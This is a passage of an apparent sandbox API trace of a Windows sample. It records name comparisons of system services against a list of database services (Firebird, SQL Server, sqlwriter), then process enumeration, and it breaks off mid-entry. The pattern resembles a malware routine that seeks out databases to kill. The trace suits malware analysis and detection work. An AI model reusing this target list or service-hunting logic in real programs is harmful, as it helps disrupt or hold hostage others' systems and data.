[0117.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0117.312] lstrlenW (lpString="lmhosts") returned 7 [0117.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0117.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0117.312] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0117.312] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0117.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0117.312] lstrlenW (lpString="LSM") returned 3 [0117.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0117.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0117.312] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0117.312] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0117.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0117.312] lstrlenW (lpString="MpsSvc") returned 6 [0117.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0117.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0117.312] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0117.312] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0117.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0117.312] lstrlenW (lpString="NcbService") returned 10 [0117.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0117.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0117.312] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0117.313] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0117.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0117.313] lstrlenW (lpString="netprofm") returned 8 [0117.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0117.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0117.313] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0117.313] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0117.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0117.313] lstrlenW (lpString="NlaSvc") returned 6 [0117.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0117.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0117.313] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0117.313] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0117.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0117.313] lstrlenW (lpString="nsi") returned 3 [0117.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0117.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0117.313] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0117.313] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0117.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0117.313] lstrlenW (lpString="PcaSvc") returned 6 [0117.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0117.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0117.313] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0117.313] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0117.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0117.313] lstrlenW (lpString="PlugPlay") returned 8 [0117.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0117.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0117.313] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0117.313] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0117.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0117.313] lstrlenW (lpString="Power") returned 5 [0117.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0117.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0117.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0117.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0117.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0117.314] lstrlenW (lpString="ProfSvc") returned 7 [0117.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0117.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0117.314] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0117.314] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0117.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0117.314] lstrlenW (lpString="RpcEptMapper") returned 12 [0117.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0117.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0117.314] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0117.314] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0117.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0117.314] lstrlenW (lpString="RpcSs") returned 5 [0117.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0117.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0117.314] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0117.314] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0117.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0117.314] lstrlenW (lpString="SamSs") returned 5 [0117.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0117.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0117.314] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0117.314] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0117.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0117.314] lstrlenW (lpString="Schedule") returned 8 [0117.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0117.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0117.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0117.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0117.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0117.315] lstrlenW (lpString="SecurityHealthService") returned 21 [0117.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0117.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0117.315] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0117.315] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0117.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0117.315] lstrlenW (lpString="SENS") returned 4 [0117.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0117.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0117.315] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0117.315] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0117.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0117.315] lstrlenW (lpString="ShellHWDetection") returned 16 [0117.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0117.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0117.315] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0117.315] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0117.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0117.315] lstrlenW (lpString="Spooler") returned 7 [0117.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0117.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0117.315] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0117.315] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0117.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0117.315] lstrlenW (lpString="sppsvc") returned 6 [0117.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0117.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0117.315] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0117.315] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0117.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0117.315] lstrlenW (lpString="SSDPSRV") returned 7 [0117.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0117.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0117.316] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0117.316] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0117.316] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43e3260 | out: hHeap=0x5c0000) returned 1 [0117.316] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x310 [0117.321] Process32FirstW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.322] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0117.322] lstrlenW (lpString="System") returned 6 [0117.322] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0117.323] lstrlenW (lpString="smss.exe") returned 8 [0117.323] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.324] lstrlenW (lpString="csrss.exe") returned 9 [0117.324] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0117.325] lstrlenW (lpString="wininit.exe") returned 11 [0117.325] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.325] lstrlenW (lpString="csrss.exe") returned 9 [0117.325] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0117.326] lstrlenW (lpString="winlogon.exe") returned 12 [0117.326] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0117.327] lstrlenW (lpString="services.exe") returned 12 [0117.327] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0117.327] lstrlenW (lpString="lsass.exe") returned 9 [0117.327] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.328] lstrlenW (lpString="svchost.exe") returned 11 [0117.328] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0117.329] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0117.329] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0117.329] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0117.329] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.330] lstrlenW (lpString="svchost.exe") returned 11 [0117.330] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0117.331] lstrlenW (lpString="dwm.exe") returned 7 [0117.331] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.332] lstrlenW (lpString="svchost.exe") returned 11 [0117.332] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.332] lstrlenW (lpString="svchost.exe") returned 11 [0117.332] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.333] lstrlenW (lpString="svchost.exe") returned 11 [0117.333] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.334] lstrlenW (lpString="svchost.exe") returned 11 [0117.334] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.335] lstrlenW (lpString="svchost.exe") returned 11 [0117.335] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.336] lstrlenW (lpString="svchost.exe") returned 11 [0117.336] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.336] lstrlenW (lpString="svchost.exe") returned 11 [0117.336] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.337] lstrlenW (lpString="svchost.exe") returned 11 [0117.337] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.338] lstrlenW (lpString="svchost.exe") returned 11 [0117.338] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0117.338] lstrlenW (lpString="spoolsv.exe") returned 11 [0117.338] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.339] lstrlenW (lpString="svchost.exe") returned 11 [0117.339] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.340] lstrlenW (lpString="svchost.exe") returned 11 [0117.340] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0117.341] lstrlenW (lpString="audiodg.exe") returned 11 [0117.341] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0117.341] lstrlenW (lpString="sihost.exe") returned 10 [0117.341] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.342] lstrlenW (lpString="svchost.exe") returned 11 [0117.342] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0117.343] lstrlenW (lpString="taskhostw.exe") returned 13 [0117.343] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0117.343] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0117.343] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0117.344] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0117.344] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0117.345] lstrlenW (lpString="explorer.exe") returned 12 [0117.345] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0117.346] lstrlenW (lpString="Memory Compression") returned 18 [0117.346] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0117.346] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0117.346] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0117.347] lstrlenW (lpString="SearchUI.exe") returned 12 [0117.347] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0117.348] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0117.348] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.348] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0117.348] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0117.349] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0117.349] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0117.350] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0117.350] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.351] lstrlenW (lpString="conhost.exe") returned 11 [0117.351] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0117.351] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0117.352] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0117.352] lstrlenW (lpString="upper arc.exe") returned 13 [0117.352] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0117.353] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0117.353] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 